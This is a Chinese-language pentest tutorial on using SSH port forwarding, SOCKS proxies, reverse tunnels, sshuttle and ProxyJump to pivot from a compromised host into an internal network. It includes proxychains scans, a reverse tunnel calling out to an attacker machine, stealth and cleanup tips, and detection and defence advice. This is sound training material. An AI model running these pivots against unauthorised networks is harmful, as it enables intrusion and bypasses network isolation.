写在前面:合法学习边界
隧道技术只用于授权靶场/授权内网。对非授权网络建立隐蔽通道、转发流量可能触犯法律。所有操作都应在授权范围内完成。
一、为什么要学 SSH 隧道
拿到一台内网主机的 SSH 权限后,通常面临一个核心问题:跳板机能连的内网资源,攻击机直连不到。
1
2
| 攻击机(公网) ← 跳板机(内网网关) ← 目标网段 10.0.0.0/24
攻击机无法直连 10.0.0.x,必须借助跳板机建立"桥"
|
SSH 隧道就是这把"桥"。它的好处是:
- 零落地:攻击机端不需要安装 frp/EW 等额外工具
- 加密通道:所有流量走 SSH 加密,比明文 HTTP 代理更隐蔽
- 系统自带:Linux/macOS/Windows OpenSSH 都内置
ssh,无需编译 - 功能全:端口映射、Socks 代理、多级跳板,一个命令搞定
二、SSH 隧道拓扑图
下图展示了三种转发模式的数据流向:

三、原理详解:三种转发模式
SSH 隧道本质上是利用 SSH 通道的 TCP 转发功能,把一侧的端口流量穿过 SSH 隧道送到另一侧。三种模式对应三种方向:
1
2
3
| -L(Local):本机端口 → SSH 隧道 → 远端目标端口
-R(Remote):远端端口 → SSH 隧道 → 本机端口
-D(Dynamic):本机 Socks 代理 → SSH 隧道 → 任意目标
|
1. 本地转发 -L(端口映射)
场景:知道内网目标的具体 IP 和端口,想从本机直接访问。
原理:攻击机在本机开一个监听端口,所有发到这个端口的流量通过 SSH 隧道转发到内网目标。
1
2
| # 语法:ssh -L 本机端口:目标IP:目标端口 用户@跳板机
ssh -L 13389:10.0.0.5:3389 user@10.0.0.1
|
执行后本机 13389 端口等价于内网 10.0.0.5:3389。用 rdesktop 127.0.0.1:13389 即连接内网远程桌面。
关键参数:
1
2
3
4
| -L [绑定地址:]端口:目标IP:目标端口
- 绑定地址省略 = 仅本机 127.0.0.1
- -L 0.0.0.0:13389:... 绑定所有接口
- 端口号相同或不同均可
|
实战示例:
1
2
3
4
5
6
7
8
9
10
11
| # 映射内网 RDP
ssh -L 13389:10.0.0.5:3389 user@跳板机
rdesktop 127.0.0.1:13389
# 映射内网 MySQL
ssh -L 13306:10.0.0.10:3306 user@跳板机
mysql -h 127.0.0.1 -P 13306 -u root -p
# 映射内网 Web 管理后台
ssh -L 8080:10.0.0.20:443 user@跳板机
curl -k https://127.0.0.1:8080
|
优缺点:
1
2
| 优点:简单直接,单端口场景最快
缺点:每映射一个端口就要一条 -L 或一个 ssh 会话
|
2. 动态转发 -D(Socks 代理)
场景:不知道内网有哪些目标,需要扫描/横向移动。
原理:攻击机在本机开一个 Socks5 代理端口,任何应用配置这个 Socks5 后,流量全部通过 SSH 隧道转发到内网,再由跳板机路由到任意目标。
1
2
| # 语法:ssh -D 本机端口 用户@跳板机
ssh -D 1080 user@10.0.0.1
|
执行后本机 1080 端口就是 Socks5 代理。配合 proxychains 使用:
1
2
3
4
5
6
7
8
| # 修改 proxychains 配置
sudo vim /etc/proxychains4.conf
# 末尾添加:socks5 127.0.0.1 1080
# 用 proxychains 扫描内网
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 rdesktop 10.0.0.20
proxychains4 msfconsole
|
优缺点:
1
2
| 优点:一次建连,全内网通吃;扫描、横向、C2 都用这一个通道
缺点:所有流量都经过这一个 SSH 会话,并发高时可能丢包
|
3. 远程转发 -R(反向隧道)
场景:攻击机本身没有公网 IP(在另一台内网机器上),无法被跳板机主动连接。
原理:跳板机主动 SSH 连到攻击机,把跳板机的某个端口"暴露"到攻击机的端口上。
1
2
3
| # 在跳板机上执行(或已控主机)
ssh -R 2222:127.0.0.1:22 attacker@攻击机IP
# 含义:攻击机 2222 端口 → SSH 隧道 → 跳板机 22
|
此后攻击机访问 127.0.0.1:2222 就是连到跳板机的 22 端口。
反向隧道实战变体:
1
2
3
4
5
6
| # 暴露内网 Web 服务给公网
ssh -R 8080:10.0.0.5:80 user@公网VPS
# 公网VPS 的 8080 → SSH → 内网 10.0.0.5:80
# 注意:需要跳板机 SSH 配置 GatewayPorts 参数
GatewayPorts clientspecified # 允许绑定非 127.0.0.1
|
四、sshuttle:整段子网代理
当内网有几十上百台机器需要访问时,逐条 -L 不现实。sshuttle 可以把整段子网路由到本机。
1
2
3
4
5
6
7
8
| # 安装(Linux 原生支持)
sudo pip install sshuttle
# 把 10.0.0.0/24 整段子网代理到本机
sshuttle -r user@10.0.0.1 10.0.0.0/24
# 多子网
sshuttle -r user@10.0.0.1 10.0.0.0/24,10.10.0.0/16
|
工作原理:sshuttle 通过 SSH 通道接管 IP 层路由,比 Socks5 更"透明",不需要每个应用单独配 proxychains。
五、SSH ProxyJump 多级跳板
内网多层时,可以用 -J(ProxyJump)一条命令穿透多级跳板:
1
2
3
4
5
| # 攻击机 → 跳板1 → 跳板2 → 目标
ssh -J user1@跳板1IP,user2@跳板2IP user3@10.20.0.5
# 建 socks 代理
ssh -J user1@跳板1IP,user2@跳板2IP -D 1080 user3@10.20.0.5
|
更优雅的写法是 ~/.ssh/config:
1
2
3
4
5
6
7
8
9
10
11
12
| Host target
HostName 10.20.0.5
User user3
ProxyJump jump1,jump2
Host jump1
HostName 10.0.0.1
User user1
Host jump2
HostName 10.10.0.1
User user2
|
然后直接 ssh target 即可直达。
六、操作步骤(标准化流程)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| 第 1 步:确认跳板机可连通
ssh user@跳板机 # 能登录再继续
第 2 步:判断目标
已知端口 → 选 -L 映射
未知目标 → 选 -D 建 Socks 扫描
反向连接 → 选 -R
第 3 步:建立隧道
ssh -L 13389:10.0.0.5:3389 user@跳板机 # 或
ssh -D 1080 user@跳板机
第 4 步:验证连通
curl http://127.0.0.1:13389 # 看是否返回数据
proxychains4 nmap -sT -Pn 10.0.0.0/24 # 扫描
第 5 步:横向操作
proxychains4 rdesktop 10.0.0.5
proxychains4 msfconsole
第 6 步:用后清理
kill <ssh_pid>
删除残留 SSH 会话和密钥
|
七、SSH 隧道 vs frp vs EW 对比
1
2
3
4
5
6
7
8
9
10
11
| ┌─────────────┬──────────────┬─────────────┬──────────────┐
│ 对比项 │ SSH -L/D │ frp │ EW │
├─────────────┼──────────────┼─────────────┼──────────────┤
│ 落地工具 │ 攻击机无 │ 两端都要装 │ 两端都要装 │
│ 加密 │ SSH 自带 │ 可配置 │ 无(明文) │
│ 速度 │ 中等 │ 快 │ 快 │
│ 适用场景 │ 单端口/代理 │ 复杂隧道 │ 反向/内网 │
│ 隐蔽性 │ 高(加密) │ 中 │ 低 │
│ 学习成本 │ 低 │ 中 │ 中 │
│ 推荐场景 │ 默认首选 │ 多级/复杂 │ 遗留环境 │
└─────────────┴──────────────┴─────────────┴──────────────┘
|
决策建议:
1
2
3
| 有 SSH 凭证 → SSH 隧道(零落地、加密、隐蔽)
需要复杂级联 → frp(级联、性能更好)
老环境/无 SSH→ EW(功能全但明文)
|
八、检测与防御
攻击者检测手法
1
2
3
4
| • 异常 SSH 长连接:跳板机上有到公网的持续 SSH 连接,端口非标准
• 多个 Socks 代理特征:frp/ssh 端口(7000/1080)频繁建立
• 流量特征:SSH 隧道流量加密,但有规律性的短连接
• 日志关键词:grep "ssh" /var/log/auth.log 看非常规时间登录
|
防御思路
1
2
3
4
5
| 1. 出站白名单:内网主机禁止随意连公网 SSH
2. 监控异常 SSH 连接:源 IP、时间、频率异常即告警
3. 限制 SSH 配置:GatewayPorts no,禁止远程转发滥用
4. EDR 检测隧道工具:frp/ew 进程特征
5. 东西向隔离:跳板机与核心区之间做访问控制
|
九、报告中的正确写法
1
2
3
4
| 发现:内网已控主机(10.0.0.1)通过 SSH 隧道将 10.0.0.5:3389 映射到攻击者本机 13389。
利用方式:ssh -L 13389:10.0.0.5:3389 user@10.0.0.1
影响:攻击者可绕过内网隔离直接访问远程桌面,横向移动风险高。
建议:限制内网 SSH 外连;监控异常 SSH 长连接;东西向网络隔离。
|
十、小结
SSH 隧道是内网渗透最轻量、最隐蔽的代理方案:-L 做端口映射、-D 做 Socks 代理、-R 做反向暴露。掌握它,配合 proxychains 就能在"有 SSH 凭证"的条件下穿透内网,无需落地任何额外工具。frp 和 EW 在更复杂的多级场景中仍有价值,但 SSH 隧道永远是首选。
十一、延伸阅读
1
2
3
| • 内网多级代理实战:当单级不够用时如何串联多级隧道
• frp 隧道与代理实战:复杂级联场景的 frp 方案
• 横向移动 Pass-the-Hash:拿到隧道后如何横向
|